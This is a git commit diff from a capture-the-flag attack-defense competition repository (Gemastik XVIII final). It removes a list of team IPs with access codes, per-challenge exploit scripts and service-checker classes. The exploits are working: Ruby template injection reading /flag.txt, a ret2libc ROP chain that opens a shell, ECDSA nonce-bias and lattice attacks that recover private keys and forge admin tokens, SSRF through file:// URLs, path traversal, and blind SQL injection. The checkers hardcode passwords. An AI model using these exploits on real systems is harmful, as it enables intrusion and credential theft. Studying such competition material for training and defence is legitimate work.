Merge branch 'main' of github.com:rayhanhanaputra/gemastik18-final

This commit is contained in:
Jonathan
2025-10-11 12:03:21 +07:00
1230 changed files with 28 additions and 288310 deletions
-21
View File
@@ -1,21 +0,0 @@
MIT License
Copyright (c) 2023 rendi
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+3 -5
View File
@@ -1,13 +1,11 @@
# wreckit-5.0-final
# Gemastik XVIII Cybersecurity Final Round - Attack Defense Repository
## challenges
| challenges | author | category |
| ---------- | ----------- | -------- |
| poke | jagungrebus | web |
| wanderer | ZeroEXP | web |
| niko | hanz0 | pwn |
| blinkpdf | wondPing | crypto |
| blogpost | keii | web |
| cdn | keii | web |
## how-to-run
-12
View File
@@ -1,12 +0,0 @@
3 Fidethus 54.179.25.137 Zp4y9X3T1V
4 Men Who Cry 54.255.181.131 8F5G7H2Q6R
5 bangorkan dulu le 18.143.108.133 C4D5E6F7G8
6 me encanta cocinar 54.169.243.246 J3K4L5M6N7
7 PETIR - That Time I Got Reincarnated as a WreckIT Player Official 13.212.142.212 P1Q2R3S4T5
8 Girls Band Cry 54.179.130.178 V7W8X9Y0Z2
9 SNI - FLAVATO 52.221.251.25 OIJA92QOD4
10 Big Brain Kidz 18.143.158.116 B5C6D7E8F9
11 mas Takumi Silahkan maju untuk membayar tagihan listrik 54.254.232.40 H1I2J3K4L5
12 sehad 13.212.60.169 R7S8T9U0V
File diff suppressed because one or more lines are too long
-7
View File
@@ -1,7 +0,0 @@
import requests, urllib
import sys
HOST = sys.argv[1]
PORT = 10000
print(requests.get(f'http://{HOST}:{PORT}/art/' + urllib.parse.quote_plus('#{File.read([47, 102, 108, 97, 103, 46, 116, 120, 116].pack("c*"))}')).text)
-42
View File
@@ -1,42 +0,0 @@
from pwn import *
import sys
context.arch = 'amd64'
HOST = sys.argv[1]
PORT = 22000
def conn():
return remote(HOST, PORT, level='warn')
def main():
global r
r = conn()
r.recvline()
junk = b"A" * (0x40 + 8)
pop_rdi = p64(0x401243)
plt_puts = p64(0x401060)
got_puts = p64(0x403fd8)
main_addr = p64(0x4011a9)
ret = p64(0x40101a)
payload = junk + pop_rdi + got_puts + plt_puts + main_addr
r.sendline(payload)
leak = u64(r.recvline(False).ljust(8,b"\x00"))
libc = leak - 0x84420
system = libc + 0x52290
binsh = libc + 0x1b45bd
# print(f"puts @ {hex(leak)}")
# print(f"system @ {hex(system)}")
# print(f"binsh @ {hex(binsh)}")
payload = junk + ret + pop_rdi + p64(binsh) + p64(system) + main_addr
r.sendline(payload)
r.sendline(b"echo 1337")
r.recvuntil(b"1337")
r.sendline(b"cat /flag.txt")
print(r.recvuntil(b'}').decode().strip())
main()
-131
View File
@@ -1,131 +0,0 @@
#!/usr/bin/env python3
from fastecdsa.curve import Curve
from fastecdsa.point import Point
from base64 import urlsafe_b64decode, urlsafe_b64encode
from zlib import crc32
import requests
import json
import re
import sys
import time
HOST = sys.argv[1]
PORT = 14000
url = f"http://{HOST}:{PORT}"
r = requests.get(f"{url}/params").text
r = r.replace("<pre>", "").replace("</pre>", "")
params = json.loads(r)
# print(params)
C = Curve(
"burvesigner",
params["p"],
params["a"],
params["b"],
params["n"],
params["G"][0],
params["G"][1],
)
G = C.G
Y = Point(params["Y"][0], params["Y"][1], C)
b64p = lambda x: x + b"=" * (-len(x) % 4)
b64u = lambda x: x.rstrip(b"=")
b64e = lambda x: b64u(urlsafe_b64encode(x))
b64d = lambda x: urlsafe_b64decode(b64p(x))
def get_token():
r = requests.post(url, data={"username": "guest", "password": "guest"}).cookies
return r["token"]
token1 = get_token()
token2 = get_token()
# print(token1)
# print(token2)
sig1 = token1.split(".")[1]
sig2 = token2.split(".")[1]
t = 112 // 8
shift_u = pow(2, 112 - 64)
def from_bytes(data):
return int.from_bytes(data, "little")
def to_bytes(num):
return int.to_bytes(num, t, "little")
sig1dec = urlsafe_b64decode(sig1)
arr1 = [sig1dec[t * i : t * (i + 1)] for i in range(3)]
Rx1, Ry1, s1 = map(from_bytes, arr1)
sig2dec = urlsafe_b64decode(sig2)
arr2 = [sig2dec[t * i : t * (i + 1)] for i in range(3)]
Rx2, Ry2, s2 = map(from_bytes, arr2)
R1 = Point(Rx1, Ry1, C)
R2 = Point(Rx2, Ry2, C)
# bf diff
for bf in range(1, 2**20):
diff = bf * shift_u
if R1 + G * diff == R2:
# print(bf, diff)
break
def apa(msg):
return crc32(msg)
def fake_sign(msg, x):
k = 555555
R = k * C.G
s = (apa(msg) - x * R.x) * pow(k, -1, C.q) % C.q
sig = b"".join(map(to_bytes, [R.x, R.y, s]))
return urlsafe_b64encode(sig)
def dup_verify(msg, sig):
assert len(sig) == 4 * t
sig = urlsafe_b64decode(sig)
arr = [sig[t * i : t * (i + 1)] for i in range(3)]
Rx, Ry, s = map(from_bytes, arr)
R = Point(Rx, Ry, C)
return apa(msg) * C.G == s * R + Y * R.x
payload = b64e(
json.dumps(
{"user": "admin", "role": "admin", "exp": int(time.time()) + 300}
).encode()
)
h1 = apa(token1.split(".")[0].encode())
h2 = apa(token2.split(".")[0].encode())
h3 = apa(payload)
k1 = (Rx1 * h2 - Rx1 * s2 * diff - Rx2 * h1) * pow(Rx1 * s2 - s1 * Rx2, -1, C.q) % C.q
priv = (h1 - s1 * k1) * pow(Rx1, -1, C.q) % C.q
sig3 = fake_sign(payload, priv)
# print(k1, priv, to_bytes(priv))
token3 = payload + b"." + sig3
token3 = token3.decode()
# print(token3)
r = requests.get(url, cookies={"token": token3}).text
if "flashes" in r:
print("failed")
exit(1)
flag = re.findall(r'Welcome, admin! (.+)</p>', r)[0]
print(flag)
-23
View File
@@ -1,23 +0,0 @@
k1 = t1 * 2^shift + junk
k2 = (t1 + diff) * 2^shift + junk
k2 - k1 = diff (2^shift)
bf: diff (2^shift)
for bf in range(...):
if R1 + G * bf * (2^shift) == R2:
found
--------------------------------
s1 (k1) = h1 - r1 x
s2 (k1 + diff) = h2 - r2 x
(h1 - s1 k1) / r1 = x
(h2 - s2 k1 - s2 diff) / r2 = x
(h1 - s1 k1) r2 = (h2 - s2 k1 - s2 diff) r1
r2 h1 - r2 s1 k1 = r1 h2 - r1 s2 k1 - r1 s2 diff
r1 s2 k1 - r2 s1 k1 = r1 h2 - r1 s2 diff - r2 h1
k1 (r1 s2 - s1 r2) = r1 h2 - r1 s2 diff - r2 h1
k1 = (r1 h2 - r1 s2 diff - r2 h1) / (r1 s2 - s1 r2)
-7
View File
@@ -1,7 +0,0 @@
import requests
import sys
HOST = sys.argv[1]
PORT = 21000
print(requests.post(f"http://{HOST}:{PORT}/crawlback.php", data={'url': 'file:///flag.txt'}).text)
-30
View File
@@ -1,30 +0,0 @@
import requests, random, string, base64, gzip, zlib, json, sys
HOST = sys.argv[1]
PORT = 16000
def random_string(length):
charset = string.ascii_uppercase + string.ascii_lowercase + string.digits
return ''.join(random.choice(charset) for i in range(length))
def exploit():
sess = requests.Session()
## register
username = random_string(5)
password = random_string(5)
r = sess.post(f"http://{HOST}:{PORT}/auth/register", data={"username":username,"password": password}, allow_redirects=False)
## login
r = sess.post(f"http://{HOST}:{PORT}/auth/login", data={"username":username,"password": password}, allow_redirects=False)
## exploit python
content = {"provider": "python","url":" file:///flag.txt"}
files = {"file": ("visit", b"\x00\x02"+gzip.compress(zlib.compress(json.dumps(content).encode())))}
r = sess.post(f"http://{HOST}:{PORT}/dashboard/fetch_by_file", files=files)
b64_string = r.text
b64_string += "=" * ((4 - len(b64_string) % 4) % 4)
print(base64.b64decode(b64_string).decode())
if __name__ == "__main__":
exploit()
-54
View File
@@ -1,54 +0,0 @@
import requests
HOST = "http://localhost:12000"
def login():
token = requests.post(f"{HOST}/api/login",json={"email":"checker@gemasnotes.id", "password":"uRIqCvJ<IGb;VDT14"}).json()["token"]
return token
def send_request(payload,token):
res = requests.post(f"{HOST}/api/notes/count", data=payload, headers={"Authorization": f"Bearer {token}","Content-Type":"application/json"})
if res.status_code == 401:
new_token = login()
return send_request(payload, new_token)
return res.json()["count"], token
def attack(idx, char):
global token
sql_payload = f"' UNION SELECT IF(ASCII(SUBSTRING((SELECT fl4gg FROM rewards), {idx}, 1)) > {ord(char)},31337,0) ORDER BY 1 DESC#"
final_payload = '{"count_by":"title","keyword":"'+ sql_payload +'","keyword": "hehe"}'
result,token = send_request(final_payload, token)
if result == 31337:
return True
return False
def solve():
charset = "0123456789abcdef"
flag = ""
idx = 10
for i in range(32):
lo = 0
hi = len(charset)
while lo <= hi:
mid = lo + (hi - lo) // 2
char = charset[mid]
if attack(idx,char):
lo = mid + 1
else:
hi = mid - 1
flag += charset[lo]
print(f"CHAR {idx} | {charset[lo]}")
idx += 1
return "WRECKIT50{"+flag+"}"
if __name__=="__main__":
global token
token = login()
flag = solve()
print(flag)
-37
View File
@@ -1,37 +0,0 @@
import requests
HOST = "http://localhost:12000"
def login():
token = requests.post(f"{HOST}/api/login",json={"email":"checker@gemasnotes.id", "password":"uRIqCvJ<IGb;VDT14"}).json()["token"]
return token
def send_request(payload,token):
res = requests.post(f"{HOST}/api/notes/count", data=payload, headers={"Authorization": f"Bearer {token}","Content-Type":"application/json"})
if res.status_code == 401:
new_token = login()
return send_request(payload, new_token)
return res.json()["count"], token
def attack():
token = login()
charset = "0123456789abcdef"
flag = ""
idx = 10
for i in range(32):
for c in list(charset):
sql_payload = f"' UNION SELECT IF(ASCII(SUBSTRING((SELECT fl4gg FROM rewards), {idx}, 1)) = {ord(c)},31337,0) ORDER BY 1 DESC#"
final_payload = '{"count_by":"title","keyword":"'+ sql_payload +'","keyword": "hehe"}'
result,token = send_request(final_payload, token)
if result == 31337:
flag += c
idx += 1
print(f"[+] CHAR {idx} | {c}")
break
return "WRECKIT50{"+flag+"}"
if __name__=="__main__":
flag = attack()
print(flag)
-33
View File
@@ -1,33 +0,0 @@
#!/usr/bin/env python3
from subprocess import check_output
from pwn import *
def execute(payload):
with open("payload", "wb") as f:
f.write(payload)
output = check_output(["./hirnfick", "payload"])[13:]
return output
def enc(s):
final = b""
for c in s:
final += b"+" * c
final += b">"
return final
payload = b"<" * 0x90
payload += b"+" * (0x20)
payload += b">"
payload += b"+" * (0x5e-0x22)
payload += b">"
payload += b"---"
payload += b">" * (0x90-2-0x20)
payload += b"+"
payload += b">" * 0x20
payload += enc(b"cat /flag.txt")
# payload += b".>" * 8
out = execute(payload)
print(hexdump(out))
-85
View File
@@ -1,85 +0,0 @@
import hmac
from base64 import urlsafe_b64encode, urlsafe_b64decode
from hashlib import sha224, sha256, sha384, sha512
from ecdsa import ecdsa, SigningKey, VerifyingKey, NIST256p, NIST224p, NIST384p, NIST521p
allowed_curve = [
NIST224p,
NIST256p,
NIST384p,
NIST521p
]
hashfunc = [
sha224,
sha256,
sha384,
sha512
]
key_size = [28, 32, 48, 66]
signature_size = [56, 64, 96, 132]
class PastaSigner:
def __init__(self, secret: bytes, version: int):
self.purpose = 'public'
if version > 4 or version < 1:
version = 1
self.version = version
self.hashfunc = hashfunc[self.version - 1]
self.key_size = key_size[self.version - 1]
self.priv = SigningKey.from_string(secret[:self.key_size], curve=allowed_curve[self.version - 1])
def serialize(self, data: bytes, sig):
token = 'v' + str(self.version) + '.'
token += self.purpose + '.'
token += urlsafe_b64encode(data + sig).decode().replace('=', '')
return token
def sign(self, data: str):
data = data.encode()
pub = self.priv.get_verifying_key().to_string()
h = self.hashfunc(data + pub).digest()
nonce = hmac.new(self.priv.to_string(), data, self.hashfunc).hexdigest()
sig = self.priv.sign_digest(h, k=int(nonce, 16))
return self.serialize(data + pub, sig)
class PastaVerifier:
def __init__(self, secret):
self.purpose = 'public'
self.secret = secret
def deserialize(self, data: bytes):
try:
version, purpose, payload = data.split(b'.')
version = int(version.replace(b'v', b''))
if version > 4 or version < 1:
return False
self.version = version
self.hashfunc = hashfunc[self.version - 1]
self.key_size = key_size[self.version - 1]
self.priv = SigningKey.from_string(self.secret[:self.key_size], curve=allowed_curve[self.version - 1])
raw_data = urlsafe_b64decode(payload + (b'==' * 2))
size = signature_size[self.version - 1]
signature = raw_data[-size:]
public_key = raw_data[-size * 2:-size]
message = raw_data[:-size]
return message, public_key, signature
except Exception as e:
return False
def verify(self, token: str):
deserialized = self.deserialize(token.encode())
if deserialized:
message, _, signature = deserialized
h = self.hashfunc(message).digest()
verifier = self.priv.get_verifying_key()
return verifier.verify_digest(signature, h)
return False
-129
View File
@@ -1,129 +0,0 @@
import json
import os
import requests
from sage.all import *
from Crypto.Util.number import *
from Crypto.Util.strxor import strxor
from hashlib import sha512
from base64 import urlsafe_b64decode, urlsafe_b64encode
from pasta import PastaSigner, PastaVerifier
HOST = "10.100.101.102:13000"
# HOST = "0.0.0.0:8000"
def register(username):
r = requests.post('http://{}/register'.format(HOST), json={'username': username, 'password': '123'})
print(r.json())
def login(username):
r = requests.post('http://{}/auth?version=4'.format(HOST), json={'username': username, 'password': '123'})
token = r.json()['token']
return token
def get_flag(token):
r = requests.get('http://{}/flag'.format(HOST), headers={'Authorization': 'Bearer {}'.format(token)})
return r.json()
secret = b'\x00' + os.urandom(65)
signer = PastaSigner(secret, 4)
verifier = PastaVerifier(secret)
sigs = []
n = 110
for i in range(n):
username = "pasta-{}".format(i)
register(username)
token = login(username)
sigs.append(token.encode())
# sigs.append(signer.sign(json.dumps({"username": username, "role": "user"})).encode())
hs = []
rs = []
ss = []
for i in range(n):
_, _, sig = sigs[i].split(b".")
raw_data = urlsafe_b64decode(sig + (b'==' * 2))
size = 132
signature = raw_data[-size:]
public_key = raw_data[-size * 2:-size]
message = raw_data[:-size]
r = bytes_to_long(signature[:66])
s = bytes_to_long(signature[66:])
hs.append(bytes_to_long(sha512(message).digest()))
rs.append(r)
ss.append(s)
h1 = int(hs[0])
r1 = int(rs[0])
s1 = int(ss[0])
captured = []
for i in range(len(hs)):
captured.append((int(hs[i]), int(rs[i]), int(ss[i])))
order = 0x01fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffa51868783bf2f966b7fcc0148f709a5d03bb5c9b8899c47aebb6fb71e91386409
matrix = []
nonce_bit = 512 # bit size of nonce
i = 0
n = len(captured) + 2
max_nonce = 2**nonce_bit
for signature in captured:
matrix.append([0] * n)
matrix[i][i] = order
i += 1
matrix.append([0] * n)
matrix.append([0] * n)
i = 0
for signature in captured:
h, r, s = signature
inv_s = inverse_mod(s, order)
matrix[n - 2][i] = r * inv_s
matrix[n - 1][i] = h * inv_s
i += 1
matrix[n - 2][n - 2] = int(max_nonce) / order
matrix[n - 2][n - 1] = 0
matrix[n - 1][n - 2] = 0
matrix[n - 1][n - 1] = max_nonce
print("LLL")
B = Matrix(QQ, n, n, matrix)
L = B.LLL()
possible_d = []
for row in list(L):
k1 = int(abs(row[0]))
if k1 != 0 and k1 != max_nonce and k1 < max_nonce:
d = (k1 * s1 - h1) * inverse_mod(r1, order) % order
possible_d.append('00' + long_to_bytes(d).hex())
# assert secret.hex() in possible_d
for d in possible_d:
fake_signer = PastaSigner(bytes.fromhex(d), 4)
token = fake_signer.sign(json.dumps({"username": "pwned", "role": "admin"}))
print(get_flag(token))
-7
View File
@@ -1,7 +0,0 @@
import requests
import sys
HOST = sys.argv[1]
PORT = 20000
print(requests.get(f"http://{HOST}:{PORT}/download?filename=/flag.txt").text)
-1
View File
@@ -1 +0,0 @@
/flag.txt
-6
View File
@@ -1,6 +0,0 @@
import requests
url = f'http://localhost:11000?type=file'
files = {'file': open('path', 'rb').read()}
r = requests.post(url, files=files, timeout=5)
print(r.json())
-40
View File
@@ -1,40 +0,0 @@
from .Challenge import Challenge
import io
import pandas as pd
import requests
import re
class Art(Challenge):
flag_location = 'flags/art.txt'
history_location = 'history/art.txt'
def distribute(self, flag):
try:
with open(self.flag_location, 'w') as f:
f.write(flag)
with open(self.history_location, 'a') as f:
f.write(flag + '\n')
self.logger.info(f'Flag {flag} written to {self.flag_location}')
return True
except Exception as e:
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
return False
def check(self):
try:
word = self.random_string(8)
url = f'http://localhost:{self.port}/art/{word}'
r = requests.get(url, timeout=5)
assert r.text == f'<iframe height="100%" width="100%" frameborder="0" src=https://asciified.thelicato.io/api/v2/ascii?text={word}></iframe>', 'Unexpected response'
self.logger.info('Check passed for art')
return True
except Exception as e:
self.logger.error(f'Could not check art: {e}')
return False
-35
View File
@@ -1,35 +0,0 @@
from .Challenge import Challenge
from pwn import *
class BackToBasic(Challenge):
flag_location = 'flags/back-to-basic.txt'
history_location = 'history/back-to-basic.txt'
def distribute(self, flag):
try:
with open(self.flag_location, 'w') as f:
f.write(flag)
with open(self.history_location, 'a') as f:
f.write(flag + '\n')
self.logger.info(f'Flag {flag} written to {self.flag_location}')
return True
except Exception as e:
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
return False
def check(self):
try:
r = remote("localhost",self.port)
assert b"idea?" in r.recvline(), "Failed First"
r.sendline(b"testt")
assert b"thing" in r.recvline(), "Failed Last"
return True
except Exception as e:
self.logger.error(f'Could not check back-to-basic: {e}')
return False
-124
View File
@@ -1,124 +0,0 @@
from .Challenge import Challenge
from fastecdsa.curve import Curve
from fastecdsa.point import Point
import requests
import time
import os
import json
class Burvesigner(Challenge):
flag_location = 'flags/burvesigner.txt'
history_location = 'history/burvesigner.txt'
priv_location = 'files/burvesigner.priv'
def distribute(self, flag):
try:
with open(self.flag_location, 'w') as f:
f.write(flag)
with open(self.priv_location, 'wb') as f:
f.write(os.urandom(256))
with open(self.history_location, 'a') as f:
f.write(flag + '\n')
self.logger.info(f'Flag {flag} written to {self.flag_location}')
return True
except Exception as e:
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
return False
def check(self):
try:
url = f'http://localhost:{self.port}'
flag = open(self.flag_location).read()
# C1: login guest success
guest_data = {
'username': 'guest',
'password': 'guest',
}
response = requests.post(url, data=guest_data, timeout=5)
guest_token = response.cookies["token"]
assert "Welcome, guest!" in response.text, "Guest cannot login"
assert "flashes" not in response.text, "Guest cannot login"
self.logger.info(f'C1 success for burvesigner')
# C2: login admin success
admin_data = {
'username': 'merricx_number_1_fans',
'password': getattr(self.settings, f'PASSWORD_{self.port}'),
}
response = requests.post(url, data=admin_data, timeout=5)
admin_token = response.cookies["token"]
assert "Welcome, merricx_number_1_fans!" in response.text, "Admin cannot login"
assert flag in response.text, "Flag is missing in admin page"
assert "flashes" not in response.text, "Admin cannot login"
self.logger.info(f'C2 success for burvesigner')
# C3: login guest fail
guest_data = {
'username': 'guest',
'password': 'Guest',
}
response = requests.post(url, data=guest_data, timeout=5).text
assert "Welcome, guest!" not in response, "Guest with wrong credential can login"
assert "flashes" in response, "Guest with wrong credential can login"
self.logger.info(f'C3 success for burvesigner')
# C4: login admin fail
admin_data = {
'username': 'merricx_number_1_fans',
'password': 'password',
}
response = requests.post(url, data=admin_data, timeout=5).text
assert "Welcome, merricx_number_1_fans!" not in response, "Admin with wrong credential can login"
assert flag not in response, "Flag is showing in admin page with wrong credential"
assert "flashes" in response, "Admin with wrong credential can login"
self.logger.info(f'C4 success for burvesigner')
self.logger.info('calling sleep(5)')
time.sleep(5)
# C5: cek apakah token guest di C1 sudah expired atau belum
response = requests.get(url, cookies={"token": guest_token}, timeout=5)
assert "Welcome, guest!" in response.text, "Guest token expires early"
assert "flashes" not in response.text, "Guest token expires early"
self.logger.info(f'C5 success for burvesigner')
# C6: cek apakah token admin di C2 sudah expired atau belum
response = requests.get(url, cookies={"token": admin_token}, timeout=5)
assert "Welcome, merricx_number_1_fans!" in response.text, "Admin token expires early"
assert flag in response.text, "Admin token expires early"
assert "flashes" not in response.text, "Admin token expires early"
self.logger.info(f'C6 success for burvesigner')
# C7: cek endpoint /params
response = requests.get(url + "/params", timeout=5).text
response = response.replace("<pre>", "").replace("</pre>", "")
params = json.loads(response)
assert params["p"] and params["a"] and params["b"] and params["n"], "Missing p, a, b and/or n parameter(s)"
assert params["G"][0] and params["G"][1] and params["Y"][0] and params["Y"][1], "Missing G and/or Y point(s)"
self.logger.info(f'C7 success for burvesigner')
# C8: cek apakah curve C valid dan point G di C
C = Curve("burvesigner", params["p"], params["a"], params["b"], params["n"], params["G"][0], params["G"][1])
assert C.G == Point(params["G"][0], params["G"][1], C), "Point G is not valid"
self.logger.info(f'C8 success for burvesigner')
# C9: cek apakah point G * priv = Y
t = params["p"].bit_length() // 8
priv = open(self.priv_location, "rb").read()[:t]
x = int.from_bytes(priv, "little")
Y = Point(params["Y"][0], params["Y"][1], C)
assert C.G * x == Y, "Point Y is not valid"
self.logger.info(f'C9 success for burvesigner')
return True
except Exception as e:
self.logger.error(f'Could not check burvesigner: {e}')
return False
-34
View File
@@ -1,34 +0,0 @@
import logging
import random
import string
from config import get_settings
class Challenge(object):
name = __name__
settings = get_settings()
port = 0
def __init__(self, port):
self.port = port
self.add_logger()
def add_logger(self):
self.logger = logging.getLogger()
def random_string(self, length):
charset = string.ascii_uppercase + string.ascii_lowercase + string.digits
return ''.join(random.choice(charset) for i in range(length))
def distribute(self, flag):
raise NotImplementedError
def check(self):
raise NotImplementedError
def credentials(self):
return {
'username': 'root',
'password': getattr(self.settings, f'PASSWORD_{self.port}'),
}
-38
View File
@@ -1,38 +0,0 @@
from .Challenge import Challenge
import requests
import os
MOCK_URL = 'http://google.com'
MOCK_DATA = '<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">'
class Crawlback(Challenge):
flag_location = 'flags/crawlback.txt'
history_location = 'history/crawlback.txt'
def distribute(self, flag):
try:
with open(self.flag_location, 'w') as f:
f.write(flag)
with open(self.history_location, 'a') as f:
f.write(flag + '\n')
self.logger.info(f'Flag {flag} written to {self.flag_location}')
return True
except Exception as e:
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
return False
def check(self):
try:
r = requests.post(f"http://localhost:{self.port}/crawlback.php", data={'url': MOCK_URL})
assert r.text.split('\n').pop(0) == MOCK_DATA
return True
except Exception as e:
self.logger.error(f'Could not check crawlback: {e}')
return False
-67
View File
@@ -1,67 +0,0 @@
from .Challenge import Challenge
import requests
import zlib
import gzip
import json
MOCK_URL = 'http://google.com'
MOCK_DATA_WGET = 'Google</title>'
MOCK_DATA_CURL = '<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">'
class GemasFetcher(Challenge):
flag_location = 'flags/gemas-fetcher.txt'
history_location = 'history/gemas-fetcher.txt'
def distribute(self, flag):
try:
with open(self.flag_location, 'w') as f:
f.write(flag)
with open(self.history_location, 'a') as f:
f.write(flag + '\n')
self.logger.info(f'Flag {flag} written to {self.flag_location}')
return True
except Exception as e:
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
return False
def check(self):
try:
sess = requests.Session()
## register
username = self.random_string(5)
password = self.random_string(5)
r = sess.post(f"http://localhost:{self.port}/auth/register", data={"username":username,"password": password}, allow_redirects=False)
assert r.headers.get("location") == "/auth/login", "Register Failed"
## login
r = sess.post(f"http://localhost:{self.port}/auth/login", data={"username":username,"password": password}, allow_redirects=False)
assert r.headers.get("location") == "/dashboard", "Login Failed"
## wget
content = {"provider": "wget","url":MOCK_URL}
files = {"file": ("visit", b"\x00\x00"+gzip.compress(zlib.compress(json.dumps(content).encode())))}
r = sess.post(f"http://localhost:{self.port}/dashboard/fetch_by_file", files=files)
assert MOCK_DATA_WGET in r.text, "wget Failed"
## curl
content = {"provider": "curl","url":MOCK_URL}
files = {"file": ("visit", b"\x00\x01"+gzip.compress(zlib.compress(json.dumps(content).encode())))}
r = sess.post(f"http://localhost:{self.port}/dashboard/fetch_by_file", files=files)
assert r.text.split('\n').pop(0) == MOCK_DATA_CURL, "curl Failed"
## python
content = {"provider": "python","url":MOCK_URL}
files = {"file": ("visit", b"\x00\x02"+gzip.compress(zlib.compress(json.dumps(content).encode())))}
r = sess.post(f"http://localhost:{self.port}/dashboard/fetch_by_file", files=files)
assert r.text.startswith('"PCFkb2N0eXBlIGh0bWw'), "python Failed"
return True
except Exception as e:
self.logger.error(f'Could not check gemas-fetcher: {e}')
return False
-67
View File
@@ -1,67 +0,0 @@
from .Challenge import Challenge
import requests
class GemasNotes(Challenge):
history_location = 'history/gemas-notes.txt'
host = "http://localhost:12000"
def distribute(self, flag):
try:
username = "gemasflagreceiver"
password = "AuTeEbn%.Q5$pC_ge6"
result = requests.post(f"{self.host}/flag_receiver", json={"flag": flag}, auth=(username,password)).json()
if not result.get("success"):
return False
with open(self.history_location, 'a') as f:
f.write(flag + '\n')
self.logger.info(f'Flag {flag} updated in gemas-notes database')
return True
except Exception as e:
self.logger.error(f'Could send flag to gemas-notes challenge: {e}')
return False
def check(self):
try:
url = f'http://localhost:{self.port}'
# login
token = requests.post(f"{url}/api/login",json={"email":"checker@gemasnotes.id", "password":"uRIqCvJ<IGb;VDT14"}).json()["token"]
header = {"Authorization": f"Bearer {token}"}
# get count
old_count = requests.post(f"{url}/api/notes/count", headers=header, json={"count_by":"title", "keyword":""}).json()["count"]
# create notes
notes = {"title":self.random_string(10), "content":self.random_string(20), "tags":self.random_string(10)}
status_code = requests.put(f"{url}/api/notes", headers=header, json=notes).status_code
assert status_code in [200, 201], "Cannot Create Note"
# get notes
all_notes = requests.get(f"{url}/api/notes").json()
note = list(filter(lambda x: x["title"] == notes["title"], all_notes))
assert len(note) != 0, "Note was not created"
# get new count
new_count = requests.post(f"{url}/api/notes/count", headers=header, json={"count_by":"title", "keyword":""}).json()["count"]
assert old_count != new_count, "Invalid count"
# update notes
new_content = self.random_string(20)
notes["id"] = note[0]["id"]
notes["content"] = new_content
status_code = requests.patch(f"{url}/api/notes", headers=header, json=notes).status_code
assert status_code in [200, 204], "Cannot Update Note"
# delete notes
status_code = requests.delete(f"{url}/api/notes/{notes['id']}", headers=header, json=notes).status_code
assert status_code == 200, "Cannot Delete Note"
return True
except Exception as e:
self.logger.error(f'Could not check gemas-notes: {e}')
return False
-42
View File
@@ -1,42 +0,0 @@
import requests
from base64 import b64decode
from .Challenge import Challenge
class Hirnfick(Challenge):
flag_location = 'flags/hirnfick.txt'
history_location = 'history/hirnfick.txt'
def distribute(self, flag):
try:
with open(self.flag_location, 'w') as f:
f.write(flag)
with open(self.history_location, 'a') as f:
f.write(flag + '\n')
self.logger.info(f'Flag {flag} written to {self.flag_location}')
return True
except Exception as e:
self.logger.error(
f'Could not write flag to {self.flag_location}: {e}')
return False
def check(self):
try:
res = requests.post(
f"http://localhost:{self.port}/api/run",
timeout=5,
json={
"code":
"+[-->-[>>+>-----<<]<--<---]>-.>>>+.>>..+++[.>]<<<<.+++.------.<<-.>>>>+."
})
assert b64decode(res.json()["output"]) == b"HirnFick 1.0\nHello, World!"
return True
except Exception as e:
self.logger.error(f'Could not check hirnfick: {e}')
return False
-109
View File
@@ -1,109 +0,0 @@
from .Challenge import Challenge
import requests
class Pasta(Challenge):
flag_location = 'flags/pasta.txt'
history_location = 'history/pasta.txt'
host = "http://localhost:13000"
def distribute(self, flag):
try:
with open(self.flag_location, 'w') as f:
f.write(flag)
with open(self.history_location, 'a') as f:
f.write(flag + '\n')
self.logger.info(f'Flag {flag} written to {self.flag_location}')
return True
except Exception as e:
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
return False
def check(self):
try:
url = f'http://localhost:{self.port}'
username = f"checker-{self.random_string(8)}"
pwd = self.random_string(12)
flag = open(self.flag_location).read()
admin_data = {
'username': 'deomkicer_number_1_fans',
'password': getattr(self.settings, f'PASSWORD_{self.port}'),
}
# login admin and check flag
response = requests.post(
f"{url}/auth",
json=admin_data).json()
token = response.get('token')
assert token, "Token is missing in login admin"
check_flag = requests.get(f"{url}/flag", headers={'Authorization': f"Bearer {token}"}).json()
assert check_flag.get('flag') == flag, "Flag is missing/mismatch"
# register
response = requests.post(
f"{url}/register",
json={
"username": f"{username}",
"password": f"{pwd}"}).json()
assert response.get('success') == "User registered succesfully", "Register failed"
# login with version 1
response = requests.post(
f"{url}/auth?version=1",
json={
"username": f"{username}",
"password": f"{pwd}"}).json()
token = response.get('token')
assert token, "Token is missing in login v1"
check_home = requests.get(f"{url}/", headers={'Authorization': f"Bearer {token}"}).json()
assert check_home.get('username') == username, "Different username found in login v1"
# login with version 2
response = requests.post(
f"{url}/auth?version=2",
json={
"username": f"{username}",
"password": f"{pwd}"}).json()
token = response.get('token')
assert token, "Token is missing in login v2"
check_home = requests.get(f"{url}/", headers={'Authorization': f"Bearer {token}"}).json()
assert check_home.get('username') == username, "Different username found in login v2"
# login with version 3
response = requests.post(
f"{url}/auth?version=3",
json={
"username": f"{username}",
"password": f"{pwd}"}).json()
token = response.get('token')
assert token, "Token is missing in login v3"
check_home = requests.get(f"{url}/", headers={'Authorization': f"Bearer {token}"}).json()
assert check_home.get('username') == username, "Different username found in login v3"
# login with version 4
response = requests.post(
f"{url}/auth?version=4",
json={
"username": f"{username}",
"password": f"{pwd}"}).json()
token = response.get('token')
